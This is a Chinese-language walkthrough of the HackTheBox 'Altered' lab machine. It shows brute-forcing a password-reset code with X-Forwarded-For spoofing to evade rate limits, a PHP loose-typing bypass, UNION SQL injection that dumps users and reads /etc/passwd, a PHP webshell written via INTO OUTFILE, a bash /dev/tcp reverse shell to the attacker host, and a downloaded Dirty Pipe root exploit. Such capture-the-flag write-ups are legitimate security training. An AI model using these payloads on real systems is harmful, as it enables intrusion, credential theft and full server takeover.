HackTheBox-Altered
实验环境
寻找立足点
端口扫描
先对靶机进行端口扫描,发现只开放了22和80端口
1 | nmap -sS -sCV -T4 10.10.11.159 -o ports.nmap |
登陆界面攻击面测试
访问80端口,是一个登录界面,先尝试登录
发现当输入账号为test
时返回用无效用户名
,当输入用户名为admin
时返回密码无效
,存在用户名枚举
还有一个忘记密码
的功能,试试能不能修改admin
的密码,发现需要填写验证码。
接下来有两种思路,爆破密码和爆破验证码,但是密码的位数和强度都是未知的,而验证码只有四位,并且看这个提示,应该是四位的纯数字,这样的话爆破难度还是比较低的,所以我选择爆破验证码。
验证码爆破
接下来尝试抓包对验证码进行爆破
标记要爆破的参数
设置payload
爆破了一会后,状态码就从200
变成了429
,应该是出现错误了
提示了错误信息,可能是爆破请求频繁导致被禁止访问了
请求次数限制绕过
按照Bypass Rate Limit的方法尝试绕过访问限制,添加X-Forwarded-For
字段,返回状态码200
再次进行爆破,这次要标记两个值,一个是IP地址,一个是验证码,设置好后开始爆破
等待了几分钟后,成功爆破出了验证码
使用验证码修改了admin
的密码后登录,跳转到了用户列表
点击用户栏的View
会在上方显示出用户的信息
PHP弱类型
抓包查看一下
将请求方式更改为POST,看一下会返回什么。提示不支持POST
然后试试用POST的请求方式,但将POST改为GET。返回了一些JSON
格式的信息
那我们也将请求内容改为JSON
格式试试。如下,返回正常了
上面的cookie
可以看到有laravel_session
的字段,这个站点是使用的Laravel
框架,而Laravel
是一款PHP
Web开发框架
参考文章PHP弱类型,将secret
的值改为bool
类型的true
,任意的id
的值都能返回正常
SQL注入测试
接着对id
进行测试,发现添加一个单引号
,返回服务器错误
,很明显的SQL注入
的特征
接下来试SQL注入
,先通过order by
判断字段数,当为3
时返回正常,4
时返回错误,因此字段数为3
接下来通过union select
查看回显的位置
将3
的位置替换为SQL语句可以成功执行
先爆出所有数据库名
1 | -2 union select 1,2,group_concat(schema_name) from information_schema.schemata-- - |
爆出所有表名和列名
1 | -2 union select 1,2,group_concat('\n',table_name,':',column_name) from information_schema.columns where table_schema='uhc'-- - |
爆出users
表的内容
1 | -2 union select 1,2,group_concat('\n',name,':',password) from uhc.users-- - |
但是我们已经有admin
的密码了,所以这些内容对我们没有什么帮助。接下来看看注入点能不能读取文件,如下图,成功读到了/etc/passwd
文件
1 | -2 union select 1,2,load_file('/etc/passwd')-- - |
接下来的思路是通过SQL注入
往站点写shell
,来获得服务器权限,但是先要知道站点的真实路径
SQL注入写shell
在最开始的端口扫描中可以看到,该站点使用了Nginx
作为中间件,我们可以读取Nginx
的站点配置文件,来查看配置的站点根目录。尝试读取Nginx
的站点配置文件的默认路径
1 | -2 union select 1,2,load_file('/etc/nginx/sites-enabled/default')-- - |
如上图,在该配置文件中存在网站根目录的路径,之后我们就可以往这个路径写shell
,来得到服务器的初步控制权
通过into outfile
向网站根目录写入0.php
,返回服务器错误
,但是不影响
1 | -2 union select 1,2,'<?=`$_GET[1]`?>' into outfile'/srv/altered/public/0.php'-- - |
访问我们的shell
,能成功执行系统命令
权限提升
反弹shell
通过我们写入的webshell
,反弹一个shell
回来,翻遍后续的操作
1 | bash -c 'bash -i >& /dev/tcp/10.10.16.6/4444 0>&1' |
本地开启的监听接收到了反弹shell
通过以下命令,将反弹回来的shell
升级为完全交互式的shell
1 | python3 -c 'import pty;pty.spawn("/bin/bash")' |
Dirty Pipe提权漏洞
查看系统的版本为5.16
前段时间刚爆出了一个Linux的提权漏洞Dirty Pipe
,看了一下The Dirty Pipe Vulnerability的影响范围:
- version > 5.8
- version < 5.16.11、5.15.25、5.10.102
这台靶机服务器的版本在影响范围内,所以我们可以直接下载exploit
并编译,上传到靶机中执行,来获得root
权限
现在攻击机下载DirtyPipe-Exploits,并编译。因为攻击机和靶机的Linux版本不一样,所以使用-fPIC -static
参数进行编译,防止因编译环境不一致导致exploit
运行出现问题
1 | wget https://raw.githubusercontent.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/main/exploit-2.c |
在攻击机用python
起一个简易的服务器
1 | python3 -m http.server 80 |
在靶机下载,并赋予执行权限
1 | wget 10.10.16.6/exp |
按照exploit
作者的使用方法,执行exploit
劫持SUID
成功提升至root
权限